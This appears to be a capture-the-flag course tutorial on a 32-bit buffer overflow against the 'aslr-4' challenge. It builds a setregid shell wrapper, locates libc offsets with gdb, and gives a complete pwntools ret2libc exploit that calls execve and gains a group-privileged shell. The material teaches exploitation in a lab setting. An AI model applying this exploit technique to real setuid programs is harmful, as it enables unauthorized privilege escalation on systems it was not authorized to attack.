# Using [execve()] to inherit the privilege and drop a shell Just calling `system("/bin/sh")` will not let you inherit the effective privilege (the sticky bits) of the challenge that is required to read flag in solving our challenges. To resolve this, we need to execute both *setregid(getegid(), getegid())* and *system("/bin/sh")*. In some cases of writing exploits, you could have some restrictions that you can only run one function, and in such a case, running [setregid()] and [execve()] could be an impossible option. To meet such a restriction and achieve our goal at the same time, we can create a new binary program that runs [setregid()] and *system("/bin/sh")*, and just run that program via [execve()] to both inherit the privilege and drop a shell. Let's create a simple program. ## sh.c ```c int main() { setregid(getegid(), getegid()); system("/bin/sh"); } ``` And we can compile this program using the following command: ```bash gcc -o sh sh.c -m32 ``` (use -m64 or remove -m32 if you want to build the program for amd64). Then, our objective is just running ```c execve("sh", 0, 0); ``` For the string literal "sh", you may re-use some string in your environment variable, such as SHELL=/bin/bash, then you can create a string "sh" (by just cutting the last two bytes from "/bin/bash"), and in that case, you can set the program's name as sh (not shell), then you can run that program by launching execve("sh", 0, 0). # Please note that the meaning of calling here is not writing a code to call execve(). It's about managing the stack to call that function as the result of buffer overflow attack. For example, if the stack configuration is like the following: [ buffer 0x80 bytes ] [ saved ebp ] [ret addr] Then, you can set the buffer as : [ FILL 0x80 bytes ] [ Don't care] [addr of execve] [Don't care] [address of "sh"] [0] [0] And as the result of buffer overflow exploit, this stack buffer configuration will invoke execve("sh", 0, 0); ## ASLR and DEP Let's consider a more complex situation that you encountered a binary program that is protected by both ASLR and DEP. One assumption here is that, as an attacker, we assume that we could get the address of [execve()] from some leak (assuming the case of [aslr-4], which prints out the address of `printf()` for us). If that is the case, we would like to put all memory dependency of our exploit (*e.g.,* address of jump, address of arguments, etc.) to a single space, for this case, make our exploit be dependent only to the library address space. Then, you can use the trick introduced in the W4L3 slide for finding the address of "/bin/sh" from the library space, which is used by system(). The main idea is that, system() will use execve("/bin/sh", ["sh", "-c", arg]) internally, and we will hook that point to get the address of "/bin/sh" (actually, we will take the last three bytes, sh\x00 for the string "sh"). To do this, we will attach our gdb to the binary "sh" (not /bin/sh, the compiled executable that we made from sh.c, which we have written above). ```sh $ gdb sh Reading symbols from sh...(no debugging symbols found)...done. gdb-peda$ b main Breakpoint 1 at 0x804848a gdb-peda$ r Breakpoint 1, 0x0804848a in main () gdb-peda$ b execve Breakpoint 2 at 0xb7eb97e0: file ../sysdeps/unix/syscall-template.S, line 84. gdb-peda$ c => 0xb7eb97e0 : push %ebx 0xb7eb97e1 : mov 0x10(%esp),%edx 0xb7eb97e5 : mov 0xc(%esp),%ecx 0xb7eb97e9 : mov 0x8(%esp),%ebx 0xb7eb97ed : mov $0xb,%eax [------------------------------------stack-------------------------------------] 0000| 0xbffff4ac --> 0xb7e43c99 (: movl $0x7f,(%esp)) 0004| 0xbffff4b0 --> 0xb7f64a0b ("/bin/sh") <--### addr!!!! ``` From the stack, you can figure out that `/bin/sh` is at address `0xb7f64a0b` if [execve()] is at 0xb7eb97e0 (it could be changed because this address is one of the instances of randomization). Then, the address + 5 (the length of "/bin/" is 5) will be the address of "sh", which is 0xb7f64a10: gdb-peda$ x/s 0xb7f64a10 0xb7f64a10: "sh" And the address of printf() is at: gdb-peda$ print printf $1 = {} 0xb7e52670 <__printf> gdb-peda$ Then, let's write an exploit for aslr-4 (using execve()). The program will give us the address of printf(), so let's calculate all the offset from printf(). offset_of_execve = (execve - printf) = 0xb7eb97e0 - 0xb7e52670 = 422256 offset_of_sh = (sh - printf) = 0xb7f64a10 - 0xb7e52670 = 1123232 Then, let's write an exploit code. ---------- exploit.py ---------- ```python #!/usr/bin/env python from pwn import * p = process("./aslr-4") # get offsets. Grab all addresses from gdb. offset_of_execve = 0xb7eb97e0 - 0xb7e52670 # (execve - printf) offset_of_sh = 0xb7f64a10 - 0xb7e52670 # (sh - printf) # Receive the line that contains the address of printf() line_with_address = p.recvline() # Parse the address. address_of_printf = int(line_with_address.split(' ')[-1], 16) # Calculate the address of execve() and sh() address_of_execve = address_of_printf + offset_of_execve address_of_sh = address_of_printf + offset_of_sh # Stack configuration # [ Buffer (0x88) ] [Saved EBP] [ RET ADDR ] # [ AAAAAAA(0x88) ] [ AAAA ] [ execve ] [ BBBB ] [ "sh" ] [ 0 ] [ 0 ] # Prepare the payload payload = "A" * 0x88 + "AAAA" + p32(address_of_execve) + "BBBB" + \ p32(address_of_sh) + p32(0) + p32(0) p.sendline(payload) p.interactive() ``` ```bash $ python exploit.py [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [+] Starting local process './aslr-4': pid 22064 [*] Switching to interactive mode Please type your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�G�\xb7BBBB\x10���! $ id uid=1013(kjee) gid=50410(week4-level10-ok) groups=50410(week4-level10-ok),1013(kjee) ``` Now you can get both the privilege and the shell by only knowing the address of a library function.... [execve()]:https://man7.org/linux/man-pages/man2/execve.2.html [setregid()]:https://man7.org/linux/man-pages/man2/setregid.2.html [aslr-4]:https://ctf.syssec.org/challenges#aslr-4-50